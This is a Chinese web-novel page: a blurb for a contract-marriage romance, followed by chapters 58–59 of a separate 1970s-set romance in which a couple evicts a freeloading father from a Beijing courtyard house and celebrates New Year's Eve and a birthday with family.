江郁从不觉得自己需要感情,和容薇之间也不过是协议关系,所以领证当天人就飞走了。 三年间她在异国他乡事业稳步上升,那段被遗忘的婚姻也平稳运转。 江郁以为日子会继续过下去。 直到,她遇到了一个金发碧眼的混血美人,她腹部充血的肌肉线条要她意乱神迷。 朋友看出她的异样,主动询问。 没想到向来心冷自持的江郁竟给出了出人意料的答案,她说:“我想睡她。”- 那天起江郁便有付诸行动。 晚餐上她听到女人说没有对象时满心欢喜,自认一切都会顺利推进,却不想话锋一转,听到她淡声一句:我结婚了- 起初,江郁恪守底线,可在再次收到女人见面邀请的时候,她还是坐立难安。 依旧是一个夜晚,她和这位混血美人达成某种协议。 【想见面随时打电话。 关系进展中,只能是彼此唯一。】 一段心照不宣的关系就此开启- 所有的风平浪静在江郁回国那天被打破。 和那位“不熟”的前妻姐办理最后的离婚协议时,那个昨天还和她缠绵,此时正应该在国外的女人出现在面前。 江郁觉得浑身血液倒流。 可她却微笑着看她,以一种云淡风轻地口吻说:“真的要离婚吗?这样名正言顺不更好?” “还是说,亲爱的,你觉得这样更有趣?” 58 第58章 ◎撒娇◎ 此话一出,不说刚坐下的季白青,就连温淼都觉得有些懵。 刚刚不是还在嫌弃着季白青吗,怎么现在突然开始问结婚的事。 两人对视一眼,都从对方的眸中看到了几分异色。 季白青没有回避,直接回答:“我和蓁蓁觉得什么时候都可以,最主要是看奶奶你们的意见。” 丝毫没有在意其她人的想法,温向荣一拍桌子,立刻下了通牒。 “我没意见,你们赶快结婚,越快越好!” 温淼觉得她奶奶有些不对劲,纳闷问:“你不多考验考验你孙女媳?” 温向荣的语气不咸不淡,那双清明的眸子直勾勾地盯着黑白电视机。 “我反对又有什么用,你不是那么喜欢?现在让你结婚你又不愿意了。” “奶奶!”温淼凑了过去,和温向荣紧紧挨在一起。 “我当然愿意结婚了,只是你的态度变得也太快了,我觉得有些奇怪而已。” “更何况,我的户籍现在在潇南那边,现在想结婚也结不了,您别急呀。” 季白青的户籍在潇南,温淼的户籍也因为下乡被挂在了云水村下,两人要领证也只能在本地。 听了这话,温向荣的眉心隆起,没再说话。 这个话题也就这样暂时结束。 家里多出来几个人,总是要比往常要温馨一些的。 几个人围坐烤火,桌下的炭火发出噼啪的爆裂声,让人光是听着就觉得温暖。 季白青晚上的话不太多,想着温向荣的遭遇,觉得有些心疼。 她知道温向荣的结果,却没有能够避免让她发生意外的方法,甚至导致温向荣下放的原因她也不知道。 只能够保证在她之后下放到小石村后,会和温淼一起好好照顾她,让她不至于落得一个病死的结局,帮她摆脱黑五类的身份。 撑过最难熬的两年就好了。 再晚一些,温知意和温皎皎准备回去了。 季白青这才想起来带过来的东西还没打开。 她叫住了两人:“姑姑,你们等等,我从潇南带了一点山货过来,你们也带一点回去吃吧。” 两个尿素袋堆在墙角,和屋内的拜访陈设有些格格不入,还是挺突兀的。 闻言,温知意和温皎皎停了下来。 季白青将袋子打开,把里面的东西都一一拿了出来。 杂七杂八的东西,还有些新鲜的冬笋和青菜,看起来就觉得味道不会差到哪去。 “这些都是我们自己晒的山货,今年的,日子新着呢!泡开之后炒菜可香了!” 有些东西在京市也是稀罕品,温知意和温皎皎挑了一些,手里都塞不下了才让季白青停手。 “行了,就这些了,下次见,小季蓁蓁。” 见她们离开后,季白青把东西都收起来放在了橱柜里,手上还有一罐嫩色的茶叶。 她探出头来对温向荣她们开口:“奶奶,小姑姑,这里还有一瓶茶叶,是今年采的嫩叶,你们可以尝尝。” 温如嫣笑眯眯应下,对她招了招手:“小季过来坐着吧,别忙活了。” 又陪老太太看了一会儿电视,温向荣作息标准,没多久就困了。 和温淼一起陪着她进了房间,退出来后温淼吐出一口气。 见季白青和她如出一辙的表情,她瞬间弯起了眼睛。 “我都说了,奶奶会很喜欢你的。” “你看,她都催我们结婚了。” 笨。 季白青在心里叹了口气,温淼被温家保护得太好了,现在还没察觉出来什么异样,不过她一向聪明,不知道什么时候又自己体会到了。 与其提前担心,季白青还是希望她知道得更晚一点。 温如嫣将桌上的果皮纸屑收进了垃圾桶里,见两人在门口腻歪,顿时笑开了。 “好了,现在这么晚了,你们赶快收拾收拾休息了,房间帮你们收拾好了。今天先别洗澡了,明天再去澡堂好好搓个澡。” 煤炉子上温着水,温如嫣也去休息了,季白青打了一桶水和温淼一起泡脚。 任由对方踩着自己的脚玩了一会儿,泡完脚后两人回了房间。 温向荣这也就三个房间,她们两个人自然被分配到了同一间屋子。 躺进了被窝,温淼有些困,靠在季白青的怀里,说话的声音是带着困倦的绵软。 “明天就带你去我们京市的家看看。” 听她这样说,季白青轻声应下,亲她一口。 “晚安。”做个好梦。 第二天吃了早饭,温向荣还有些工作要处理,温如嫣今天也要去医院值班。 饭后,之前的行李中,给温向荣她们带的山货和特产是大头,分完之后就基本没什么东西了。 和温向荣打了一声招呼后,温淼便带着季白青往她以前住的地方走。 两处距离并不远,走几百米到了公交车站后,再有三站就到地方了。 穿着雪地靴走在落着薄雪的地面上,两人在地上留下了一串串脚印。 风从巷子的四面吹来,知道进了胡同里,温淼浓密的发丝才往后扬。 美人穿着合身的红色大衣,一双星眸明亮,就连黑色发丝飞扬的角度都是合宜的。 最开始李大婶出来倒水的时候,见着温淼和她身边的季白青还有些没认出来,还是温淼主动和她打了一声招呼。 “李婶。” 李婶瞬间笑开了,端着盆子和她寒暄:“诶!淼淼回来了啊!这位是?” 她眼神落在季白青的身上有些疑惑。 温淼笑着介绍:“这是我女朋友,带回来探亲的。” 李婶瞬间愣住,盯着季白青看了好一会儿后才木木点头。 “这样啊。” 温淼点了点头,“那婶,没事我们先回去了。” 见两个人走远,李婶这才猛地拍了拍脑袋。 还有件事没有提醒温淼!瞧瞧,她这破记性! 不过见温淼身边的那个女人,高挑有气质,也是什么家世出众的大小姐吗? 温淼带着季白青往前走,走远了几步和季白青说:“其实附近的邻居对我都挺好的,一直很照顾我们。” 季白青了然地点头,也难怪温淼会主动和人打招呼。 又往前走了几分钟,走到了一处院子。 远远的温淼就指着这处地方说:“这就是我从小住到大的地方,也不知道快一年没住人,落灰没有。” 这是一处占地三百到四百平米的三进四合院,白墙经过风雨的洗礼变得斑驳,就是这样一处地方,承载着温淼二十多年的岁月。 走进的时候,两人的脸色一致地沉了下来。 本应该好好合上的门现在竟然是打开的。 温淼想,难道是进了贼? 季白青也是这么想,顺手拿上了墙边的一根树枝,走在温淼前面一步往里去。 隐约听见了清脆的笑声,两人对视一眼,眸中的疑色越发浓郁。 这年头小偷偷东西都那么大张旗鼓了? 穿过了有所遮挡的影壁,季白青也没仔细看,一棍子抽到了对方身上。 “啊!谁打我!”季白青拉着温淼往后退一步,盯着院子里的四个人,眼神鄙夷。 “没想到穿得人模人样,还要拖家带口来偷东西。” 闻言,男人的脸一黑,低吼道:“这是我家!我看你才是来偷东西的吧!” 听到了陌生中带着几分熟悉的声音,温淼这才从季白青的背后出来。 盯着男人的脸,温淼冷笑一声。 “哦?我倒是不知道这屋子什么时候变成你的了。” “如果没记错的话,房产证明上写的是我的名字吧。” 季白青看了眼男人,又看了眼温淼,有些疑惑。 她们认识? 温淼:“这是李文宇。” 原来是渣爹,刚才那一棍子不白挨。 不远处还站着个穿着红色袄子的女人,她身边的女同志穿着白色的呢子衣,长得和李文宇果然有几分相似。 她另一只手牵着的小男孩大概六七岁,长得圆鼓鼓的像个球。 李文宇见到了温淼后,脸色又是一阵青一阵白,训斥道:“去了乡下一趟,心也野了是吧,这么不懂事,连爸爸都不知道叫了?” 温淼懒得搭理他,平淡发问:“你是自己出去还是我报警让警察把你们轰出去?” 王瑶上前来,挽住李文宇的手,一脸责怪地看着温淼。 “淼淼,你怎么那么不懂事呢,你爸爸这是来给你看着屋子!如果不是我们帮你来看着屋子的话,这地方不知道要被小偷来造访多少次呢!” 王瑶的话瞬间给了李文宇底气,他瞬间挺起了胸膛,点头附和:“对啊,温淼,你都这么大个姑娘了,该懂事了。” “这样,过几天你跟我去和我们局里的小孙见个面,看对眼就结婚!” 闻言,王瑶的脸色一僵,随后轻声道:“老李,你是不是忘了,淼淼下乡了,结婚的话以后夫妻俩都一年都难见上几面呢。” 李文宇单位的小孙是个青年才俊,她才看上眼,准备撮合他和自家姑娘呢。 这便宜不能给温淼占了。 李文宇一听,好像确实是这个理。 刚想说什么就被温淼不耐烦打断:“我再问一遍,你们自己走还是我报警?或者直接动手把你们打出去也行。” “还有那个小孙那么好的话,你去和他结婚吧,刚好你看得上他,你还没下乡。” 季白青站在她身后轻轻摸了摸那根刚才落在李文宇身上的树枝。 李文宇瞬间感觉到后背刺痛,脸色还是有些恼怒:“你胡说什么呢!” 到底还是不信温淼会对她们动手,李文宇她们一家人没有一点要离开的意思。 李文宇自觉理解这个女儿,她脸皮一向薄,很多狠话听听就行了,没有温向荣特意派人看着,根本不放在心里。 但他到底还是没有把会真正动手的季白青放在眼里,三秒的时间过去,季白青抄着家伙就往李文宇的背后打。 反正这树枝也就手指粗细,打不出毛病来。 她使得很顺手。 被她撵耗子的打法追得满院子乱跑,李文宇此时也顾不上形象,破口大骂:“你他爹是又是谁啊?信不信我报警把你抓起来!” 季白青呵呵一声:“那你倒是带着你妻女滚出去啊!” 李欣站在王瑶后面扯扯她的衣袖:“妈,我们还是回去吧。” 王瑶冷冷看了她一眼,压低声音:“别掺和。” 反正现在没打着她们,先看看李文宇的态度。 被季白青追着打了几圈,最后李文宇总算是求饶了。 “停停停!我们马上走,你快停下!” 季白青收了手,“快滚。” 他有些狼狈地扶着腰,大喘气,“先让我们收拾东西。” 温淼住的房间上了锁,李文宇也没敢住进去,都是住在偏房。 而且她们搬进来的时间也没多久,发现温向荣对这处地方的撤了后才偷偷撬了锁搬进来的。 给了她们半个小时的时间收拾东西,温淼和季白青顶着冰冷的风坐在门口。 最后离开之前,李文宇看着季白青扯了扯唇假笑。 “我说,你到底是谁啊?” 季白青将门拍上,幽幽一句话隔着门板传到他的耳朵里。 “关你屁事。” 门只是简单地掩上了,将行李放进正房卧室里锁好后她们去供销社又买了几把锁,要把家里的锁基本换一遍。 将大门锁好后季白青才有心思打量温淼的房间。 温淼离开前怕东西落灰,特意糊了报纸将物件都遮挡起来。 将报纸往下撤的时候,确实摸到了一手的灰。 她房间的面积要比季白青的房间大上不少,光是衣柜就是一连排的。 各种家具都是实木的,漂亮又精致。 床单和被套都是从温向荣那带过来的,清洗过的,带着肥皂的清香。 将床铺好之后,温淼去隔壁家换了点燃煤,将煤炉点燃,蜂窝煤噼啪地炸开燃烧,才为冷冰冰的屋子增添了几分暖意。 两人打了点水,将桌子床和柜子的薄灰擦干净,又在煤炉上烧了点水,准备挑几件贴身衣物洗干净。 忙碌了一上午,季白青将洗好的衣物挂在了耳房里,感觉到有些饿,待会儿还得去澡堂洗澡,她得先带温淼去吃点东西。 去国营饭店点了些东西,京市的菜有些偏甜,季白青有些吃不习惯,不过想到每个菜都那么贵,最后还是含泪吃完了。 在潇南待久了,温淼也有些不习惯前二十多年吃习惯的菜式。 回去的时候,她抱着季白青的胳膊,和她商量:“今天下午把厨房收拾出来,我们自己开火做饭吧。” 季白青点头,最后坐公交车去食品站买了点菜。 跳了一颗白菜和两根萝卜,又买了十几个鸡蛋,回家的时候季白青有些懊恼: “早知道带过来的东西给我们自己也留点就好了。” 温淼幽幽看了她一眼,哼了一声。 “我让你留一点,你又不听。” “不过也没事,再过两天我们就过去吃饭了。” 回去收拾了东西,去澡堂洗了个热腾腾的澡。 季白青还没怎么在澡堂洗过澡,脱光衣服的时候还有些不自在。 对面的温淼更是头都不敢抬起来。 见状,季白青反而笑了。 这么害羞。 她将自己淋湿,洗了一遍头发后问温淼:“我帮你搓背吧?” 视线落在她莹润雪白的皮肤,她后背的皮肤细腻,看起来很适合拔罐。 对上她纯良的眼神,温淼犹豫一番,最后还是点头了。 不过澡堂子里这么多人看着呢,季白青真没对温淼做什么,顶多多摸了几把她顺滑的肌肤。 搓完后,温淼也帮她。 将自己洗干净后她们才出澡堂。 澡堂里还是热气腾腾的,蒸汽一股一股往上冒,不穿衣服也不冷。 出来后,浑身上下裹得严严实实,还是觉得寒气顺着角落往皮肤上爬。 季白青跺了跺脚,帮温淼把围巾绕好后搓了搓手。 “走,回去。” 澡堂离家里进,五分钟内的距离。 顶着寒风走了一段路,总算是到了家。 四合院的面积大,她们也没有收拾太多地方,只是把这个月会住的正房简单打扫了一遍。 淘了点米加上水,把锅放在炉子上,晚上喝粥。 煤她没有多放,以免水开之后粥水往外扑。 温淼困了,已经上了床。 将晚上要做的菜切好,她洗了个手,也上了床,抱住温淼,脸颊在她的后背蹭了蹭,打了个哈欠。 屋外风雪肆虐,狂风拍打着窗户。 而屋内温暖馨香,很适合抱着爱人一起入睡。 两人醒来的时间差不多,窗外的天色早已经黑了下来,屋子里也是漆黑一片。 窝在被窝里,骨头都泛着懒,两个人都有些不想起床。 过了一会儿,温淼戳她:“起床开灯。” 季白青耍赖将头埋在她的胸前,“困,你去。” 你来我往推拒了一会儿,最后她们决定再躺一会儿。 大概是炉子里的煤燃烬,屋子里冷了几分,季白青长臂一伸,将被子上搭着的衣服捞过来,胡乱套上,又揪了一条绒裤套上。 将灯拉亮,将锅盖打开,米粒已经炸开了花,估摸着再煮一会儿就能喝了。 她将锅端走,加了两块煤进去。 掀开帘子往床边走的时候,听见温淼的笑声,她还有些莫名。 见温淼看着自己的腿,她才低下头,发现穿的裤子连袜子都没有遮住。 身上的衣服好像也是温淼的。 难怪。 她皱皱脸,坐在床边扯温淼的脸颊。 “有什么好笑的?” 温淼咳了一声,“没什么,我不笑了。” 季白青把她的开衫扔给她:“穿上,小心着凉了。” 温淼哼哼一声,又扔回去。 “你给我穿。” “啧,”季白青将衣袖拎起,给她套上,穿上后将开衫的扣子口号,手指在她的鼻尖上一刮,“懒蛋。” 不对,应该是撒娇怪。 穿个衣服都要撒娇让她给穿。 “裤子可以自己穿了吧?”将裤子给她,季白青问。 温淼接过裤子,窸窸窣窣地穿上了。 在季白青想要去做饭的时候,她从身后圈住季白青的腰,将脸贴在她的后背,软绵绵问: “晚上吃什么?” 今天不是一起去买的菜吗? 季白青给她报菜单:“白菜炒蛋,再炒个萝卜丝。” 温淼鼻尖一皱,闷声开口:“讨厌吃萝卜。” “挑食,冬吃萝卜夏吃姜,多少吃一点。” 温淼让她转过头,自己比着一点点的动作,强调:“只吃一点。” 季白青点头点的很干脆。 “行了老婆,现在能放开我了吧?我去炒菜。” 温淼将她放开,自己也套上袄下了床。 “我帮你。” 其实温淼小姐也没有帮上什么忙,因为萝卜丝——季白青提前切好了。 白菜——季白青也提前切好了。 温淼帮忙敲了三个蛋。 都是清炒的菜,保留了原汁原味。 季白青尝了一口萝卜丝,发现还挺甜。 喂温淼吃了一口,温淼尝着觉得好像也不是不能接受。 她矜持点了点头:“看在你的面子上,我今天可以多吃点萝卜丝。” 季白青将菜盛起来,眼皮子都没抬一下。 “感谢温淼同志支持。” 饭后,季白青帮着温淼把以前的教科书找了出来。 将整理好的教科书放在角落,她对温淼道:“这些到时候寄回去。” 温淼过去翻了翻,都是她小学到高中的教材。 “干嘛?” “有用。” 温淼没多问,点了点头。 吃了晚饭多了些精力,开始将自己衣柜里的衣服找了出来。 有的衣服她买大了,但是看款式好看,想着自己没准会长高,便一直留着。 现在看来季白青穿的话刚好。 连着找了几套出来,放在桌上,温淼让季白青试试效果。 如她所料,在她身上穿着要长一些的衣服穿在季白青的身上就很合适*。 这些衣服都精致,是溪宁镇供销社完全比不上的。 季白青人漂亮,穿着漂亮的衣服也越发显得矜贵。 就拿她身上的这一套来说,米白色的针织长裙外面再套一件黑色的大衣,露出来一截白色的裙摆随着动作摇曳,显得季白青气质成熟了几分,淡色的唇也透露出一股无言的艳丽。 对着她勾了勾手指,看季白青茫然走上前,温淼一口亲在她的颊边。 “好看,喜欢。” 被她摆弄着又试了几件衣服,季白青累得直接瘫倒在床上。 “累了,好老婆,下次再继续。” 温淼瞪她一眼,最后将衣服收回柜子里,也上了床。 冬天就很适合睡懒觉,睡下前季白青起来续上一块蜂窝煤,又将窗户打开了一条缝,这才安心躺下。 进了被窝,摸着温淼在被子里捂得暖烘烘的手,她问: “现在心情好一点没?” 黑暗中,温淼的长睫重重一颤。 “你……你怎么知道?” 【作者有话说】 喵今天很喜欢撒娇是因为受了委屈[爆哭] 对了,知道我为啥今天更得那么早吗?因为我熬夜熬穿了,一直写到现在。 感谢一下投雷和营养液,感谢订阅评论收藏[抱抱][抱抱][抱抱] 59 第59章 ◎你的礼物◎ 季白青将手搭上她的腰肢,温淼天生骨架偏小,胃口不大,长不胖,她一手就能将她往自己这边搂,像是抱小猫一样轻轻松松。 不用猜都能想到,此时温淼肯定维持着抬头看自己的姿势。 她空出来一只手,修长的手指放在对方的发丝间慢慢穿梭。 “我怎么知道?谁让你今天这么粘我。” 温淼确实喜欢撒娇,也确实是个小粘人精,但今天的一举一动却都透着无形的失落,不明显,但季白青还是一眼就看出来了。 联想到今天早上见到的那一家子,确实不难理解。 温淼低低应了一声,又向季白青所在的方向贴近。 贴在了她的胸膛,耳边是青年沉稳的心跳声,一下又一下,仿佛是自带屏障,能将她所有的不愉快隔离在外。 温淼安心了一些。 “我只是很替妈妈感到不值。”那么优秀的温泠月,却看上了李文宇这样的人。 如果能有重来的机会,她宁愿自己不出生,也更希望温泠月能遇上对她矢志不渝的人。 季白青笑了笑:“其实妈妈觉得很值的啊,因为有你的存在。我相信她肯定很爱很爱你。” 很爱她吗?说实话温淼没有太多的记忆了,温泠月因为身体原因走的太早了,五岁前和温泠月相处所留下的记忆不多,唯一记得温泠月大概是个温柔又清冷的女人,经常将小温淼抱在怀里,轻声细语教她弹琴。 有时候又很严肃。 “嗯,她肯定很爱我。”仅存的残缺记忆在脑海里过了一遍后,温淼肯定了季白青的话。 她说:“过年的时候带你去见见妈妈。” “那我到时候要让妈妈以后都别担心你了,我会好好照顾你的。”季白青温柔承诺。 听着她徐徐的声音,温淼的眼睫被洇湿,蒙上了一层朦胧的水雾,她点头,心情好了不少。 之后两天,将四合院的卫生逐渐收拾出来,两人也逐渐习惯了在京市这边的日子。 除夕那天,温家上上下下齐聚一堂,要一起吃个团圆饭。 一大早,季白青和温淼换好了衣服,先是去了一趟食品站。 买了个肘子,见还有少见的海鲜,又买了大虾和海带,见着有卖冬笋的,挑了三四颗,本来想买齐全一点,但被温淼劝了下来。 毕竟温知意她们肯定也会买菜回去,别到时候买多了。 买好菜,她们坐着公交车去了温向荣家。 到的时候,温向荣戴着眼镜正在看报纸,厨房里传来咕噜咕噜的煮粥声,听见了开门的动静,温向荣抬起眼,见是她们,问:“吃早饭没?” 温淼摇了摇头:“还没呢。” 季白青叫了人后将买好的东西提到了厨房,厨房地儿不大,见温如嫣要将锅端出去,她上前帮忙。 锅被端到了炉子上温着,将菜端上桌子,吃了个简单的早饭。 早饭后,温知意和温皎皎也很快带着家属来了。 温知意有个十岁大的女儿,叫温简楚,出落得很是标志,眉眼干净,随了她长相清秀的父亲。 季白青看了眼温知意身边的男人,要比她高出一截,男人高但有些单薄,是长得很精致的类型,皮肤比常年训练的温知意要白,说话也温柔,看起来……很贤惠。 将手上给老太太的礼物往桌上一放,温知意言简意赅道:“这是简州给您买的年礼。” 可以看出来温向荣对简州也不太待见,不咸不淡地点了点头。 倒是招呼着温简楚过来:“楚楚,过来让奶奶看看,长高了没?” 温淼和季白青坐的近,两个人咬耳朵。 “习惯就好,奶奶就是平等对所有人都不太待见,就喜欢孙女辈。” 老一辈的人都很信隔辈亲这一说法,面对自己的女儿,温向荣沉默寡言,对上自己的孙女,脸色就好多了。 这难不成就是母爱如山,祖母爱如水?季白青弯起唇。 十点多,温皎皎也带着她丈夫上门了。 两个人虽然三十多差不多四十了,但都觉得自己还小,还没要孩子,温皎皎长得漂亮,她丈夫姜维也帅气,就是看起来脾气挺不好的。 没想到这人只是还有两面做派,见到了温向荣后立刻扬起了笑,有些殷勤地和她搭话:“娘,好久不见,你怎么又年轻了?” 温向荣没搭理他,他丝毫不觉得尴尬,将大包小包的礼物拿给她。 季白青在一边看得嘴角直抽抽。 温淼给她解释:“奶奶之前一直不肯接受我姑父,还想给我二姑姑介绍其他的男人,所以姑父每次见到我娘都生怕她又给我姑姑塞了个男人。” 季白青听完后,默默将温淼抱紧。 可千万别给温淼塞姑娘。 中午她们没在家做饭,姜维订了个饭店,一家人坐着温知意的车去饭店吃的饭。 吃完饭后,再次回去,还没等休息多久,就准备着要做年夜饭了。 季白青原本想着今天算是正式见家长,早上买了补品和酒过来,还给温向荣买了一套合身的衣服,晚上就亲自做一顿饭让她们尝尝自己的手艺。 没想到刚进厨房,就被简州和姜维赶了出来。 简州的身上系着围裙,还是刚才温声让温知意帮他系上的。 “小季,你去外面陪着小侄女和娘她们,这里有我们就行。” 姜维懒洋洋道:“水冻,让我们来就行。” 抢不过他们,季白青最后选择退出战场。 见季白青灰溜溜地坐回了自己的身边,温淼笑她。 “都说了让你别过去了,每年都是姑父他们做年夜饭的。” 季白青咬牙切齿:“他们都表现那么多年了,让我表现表现不行吗?” 这话刚说完,温向荣就叫了她的名字。 “小季啊,最近肩膀疼,你过来给我揉揉。” 温淼轻推她一把:“喏,到你表现的机会了。” 季白青:“……”她想要的也不是这种表现啊! 可能是因为温向荣本身的气质就严肃,或是因为自己拱了她孙女这么一颗水灵灵的小白菜,对上温向荣的时候季白青总觉得心虚。 将手放在温向荣的肩膀上的时候,季白青还有些犹豫,最后提醒:“奶奶,我不太会按摩,要是不舒服了你就和我说,我马上停下来。” 温向荣应了一声,隔着一层袄,季白青也摸不准力道,只是轻轻地按着。 没一会儿,温向荣便开口:“再重一点,又不是没吃饭。” 季白青暗自加了点力气,感受到施加在自己肩膀上的力道,温向荣的脸色不变,内心却有些诧异。 没想到看起来这么文文弱弱的一个女同志的力气能那么大。 原本温向荣内心的担忧少了一些,既然力气那么大,而且性格也不错,对自己孙女好,以后也肯定不会白白被别人欺负。 忍着痛让季白青又按了一会儿,温向荣摆了摆手,“行了行了,现在好了,你快走吧。” 季白青奇怪地收回了手,这个十几分钟呢,真的能有效果吗? 心里的疑惑没有表现出来,她乖乖道:“那奶奶你要是还疼的话尽管跟我说,我力气大着呢。” 温向荣此时在想着把这姑娘送进部队里的可能性。 但随即想了想,还是觉得不能。 这几年还是在乡下的日子最好过,远离勾心斗角,过着自己的小日子很安逸。 倒是温知意看了眼季白青因为挽上衣袖露出来的结实手臂,有些感兴趣,拉着她到屋外,两个人比划一番后,自然是温知意这个有着足够搏斗经验的人赢了。 不过到底是她占了便宜,便教了季白青几招防身的招式。 温简楚站在门口看了一会儿,也加入进去。 小丫头的个子随了高挑的父母,现在瘦高的,每天跟着温知意出去晨跑锻炼,没准以后也会和温知意一样去参军。 透过窗户看着外面的三个人,温淼还没看多久身边的位置就被人坐下。 温皎皎弯眸:“这么舍不得你小女朋友?眼睛都看直了。” 闻言,温淼下意识收回了目光,摸了摸自己的脸颊。 看出她眼中那几分调侃后,温淼瞪她:“姑姑!” 温如嫣刚好将水果洗了端上来,叉起一块苹果塞进温皎皎嘴里,她恼道:“不许说话!” 见状,温如嫣也嗔了温皎皎一眼:“姐,都说了淼淼脸皮薄,别老逗她,人好不容易回来了一次。” 慢条斯理将苹果眼下,温皎皎撑着脸,看还在和她生气的温淼开口:“你上次让我给你带的东西我可是都给你买好带过来了。” 闻言,温淼转过脸来,“真的?” 温皎皎白她一眼:“姑姑什么时候骗过你。” “小时候你说我丑、你还让我和奶奶说碗是我摔碎的、还有情书……”温淼掰着手指头开始数。 “咳咳,”温皎皎有些尴尬地咳嗽一声,“这都多少年前的事儿了,你这个坏丫头还记着,以前和现在当然不一样了!” “东西就在房间里,你自己去看。”温淼往沙发上一靠。 温淼闻言,跑到了房间里一看,除了过节要放的鞭炮外,角落还放着不少的烟花,还有一个麦香村的蛋糕。 看到了自己想要的东西,她弯了弯眼眸,将一边放着的春联拿了出去。 “姑姑,阿青,对联还没有贴!” 对联是温皎皎在家写的,红纸上印着金色字体很漂亮。 去弄了浆糊,季白青将梯子搬进屋子里,温知意和温淼扶着梯子,看她将对联贴好。 还有一个“福”字的春联是家里每人添了几笔写出来的,看起来圆圆润润,颇有福气。 倒着往门上一贴,就算是贴好了。 现在大家在门外贴的都是革命标语,今天写的都是吉祥话,便贴在屋子里,反正平时也没有什么人进来。 过了新年几天就撕掉。 快开饭的时候,桌下的炭已经烧得很旺了,手一伸进去捂着没一会儿就暖和了。 原本的小桌子被撤掉,换上了个大圆桌,桌上摆满了菜。 简州和姜维出来后将碗筷一摆,一家人都在等着温向荣。 温向荣刚刚进了厨房,在忙活着什么,现在还没出来。 这几天的雪下得大了一些,院子里堆了一层厚厚的积雪,季白青刚带着温简楚堆雪人回来,透过窗户往外看,就能看到一个圆乎的看不出来是个人形的“雪人”。 见温向荣迟迟不出来,其她人都七七八八地聊天,季白青贴近温淼,有些疑惑地问:“奶奶在干什么呢?怎么还没出来?” 温淼摇头,表示她也不知道。 黑白电视机被打开,上面正放着《地道战》,虽然没几个人在看。 忽然听见远处传来的噼里啪啦的声音,邻居的鞭炮放完了,温向荣总算是出来了。 将手上的水渍擦干,她说:“小季今年还是第一年来,去放鞭炮。” 季白青一听,立马站起来。 想到房间里放的东西,温淼怕她提前发现,便道:“我去拿鞭炮,阿青你去找找火柴在哪。” 将鞭炮拿出来,在门口摆好后,季白青将火柴划亮,点燃之后立马拉着温淼往一边跑。 噼里啪啦的鞭炮声炸开,几个人都都捂着耳朵探头看,季白青和温淼相互对视一眼,脸上的笑容灿烂。 放完了鞭炮,回屋的时候,在原本的位置坐下。 季白青看了眼自己面前摆着的一碗面条,还有些奇怪。 又去看了看别人的面前,要么是米饭,要么是空碗,怎么就她一个人是面条? 还没等问出口,温向荣清了清嗓子,站了起来,举起杯子:“今天除夕,明天就是新的一年了,都大了一岁了,要成熟一点。” 其她人都站起来,和温向荣碰杯,季白青没心再问面条的事,将杯子里的饮料一饮而尽。 橙汁,甜的。 正准备坐下,哪知温向荣看了她一眼,又说:“今天还是小季的生日,祝小季生日快乐。” 在众人的祝福声中,季白青又迷迷糊糊地将第二杯饮料喝下。 屁股刚挨上凳子,温淼轻声对她道:“你面前的长寿面是奶奶亲手做的。” 奶奶亲手做的?季白青瞪大了眼睛,看了老太太一眼。 老太太默不作声地给她和温淼各自夹了一个鸡腿。 她瞬间笑开了,清脆道谢:“谢谢奶奶,辛苦奶奶了!” 反倒温向荣被她这样落落大方的态度弄得有些不好意思,“谢什么谢,马上就是一家人了。” “你们快点结婚就是对我最大的感谢。” 这话一出,一时间简州和姜维看着季白青的眼神中都带着几分羡慕。 温淼有些羞赧,“奶奶,之前不是都说了以后再提吗?” 季白青笑呵呵的:“回去、回去挑个好日子就立马结婚。” 两位姑父的手艺都挺不错的,季白青吃的很满足。 饭后,坐在沙发上看着电视消食。 季白青把玩着温淼柔嫩的双手,将自己的手和她的手相贴,两人的手都好看,一个纤长白皙,一个节骨分明,季白青的骨架要比温淼的大一些,手也就比她稍大上一点。 轻轻松松就能将她的手腕圈住,女人突出来的腕骨硌人。 她突然说:“要多吃点饭。” 温淼将自己的手拿出来,也试着去圈她的手腕,最后也能圈住。 她木着脸开口:“你也多吃点饭。” “……”季白青沉默了。 她一顿饭吃三碗难道还不多吗? 难道她的担心是多余的?有种瘦是老婆觉得对方瘦? 被她怀疑人生的表情逗笑,温淼往她身上一倒,眉眼弯弯,轻快回应: “我知道啦,一定会好好吃饭的。” 过了晚上九点,温淼突然说要去外面堆雪人。 其实季白青不太赞同,夜色深,天儿太冷,冻得很。 温淼谴责地看着她:“可你白天给楚楚堆了,为什么不给我堆?” 对上她的眼神,季白青一退再退,最后头疼地嘶了一声,还是答应了。 “围上围巾。” 帮着不情愿的温淼绕上了围巾,开了屋檐下的灯,她们才蹲在外面开始堆雪人。 晚上又下了一会儿雪,这次的积雪要比之前的硬实,捏在一起的时候不容易散开。 堆出来一个圆润的身子,又在上面搭了一个圆润的头,她和温淼一起将眼睛鼻子嘴巴的位置标好,没有注意身后来回的动静。 也只以为是温知意她们出来玩雪了。 将雪人的四肢插上,季白青拍了拍手,将温淼拉起来,给她拍落身上的细雪。 这次堆得雪人还是挺好看的嘛,正想对着温淼夸夸自己,突然听见了女人轻缓的声音。 “阿青,看天上。” 季白青抬头望着天,正在疑惑天上有什么。 耳朵突然被一双冰凉柔嫩的手捂住,接着听见“咻”的一声,寂静的冬夜被撕破,拖着火红尾焰的烟花在空中炸开,黄色和红色交织,像是往鎏金中撒了一把朱砂。 听见了动静,周围的邻居纷纷探出个头来,看着被斑斓的烟花着照亮的夜空。 一簇一簇的烟花将凝滞的黑夜破开,季白青愣了一瞬后下意识去看温淼。 温淼秀美的脸庞被焰火染红,眸中印着各种颜色的光。 她的眼里装着一片星河。 似乎是注意到了她落在自己身上的视线,温淼将捂着她耳朵的手放开,大声道:“阿青,生日快乐!祝你每年生日都能够有我陪在你身边!” 季白青将她抱进怀里,盛大的烟花之下,她们不关心盛景,只在意与自己相拥的人。 一直到烟花放完,温简楚看着还抱在一起的两位姐姐瞪大了眼睛,扭头脆生生问温知意: “妈妈,为什么姐姐她们要抱在一起?” 温知意一笑,摸摸小家伙的头,斟酌了一番才开口。 “因为姐姐们还在热恋。” 她们的声音不大不小,温淼和季白青也听见了,想着自己老婆脸皮薄,她将人放开,却紧紧牵住了她的手。 唇角扬得高高的,掩饰不了一点。 温如嫣此时打开了窗户,让她们回屋子里。 “蛋糕还没吃呢。” 特意在麦香村买的蛋糕,倒是比季白青当时自己做的看起来卖相要好,虽然和后世的蛋糕差距还挺大,但季白青吃着蛋糕,觉得很满足。 她从不记自己的生日,说来也巧,原主的生日和她的生日是在同一天。 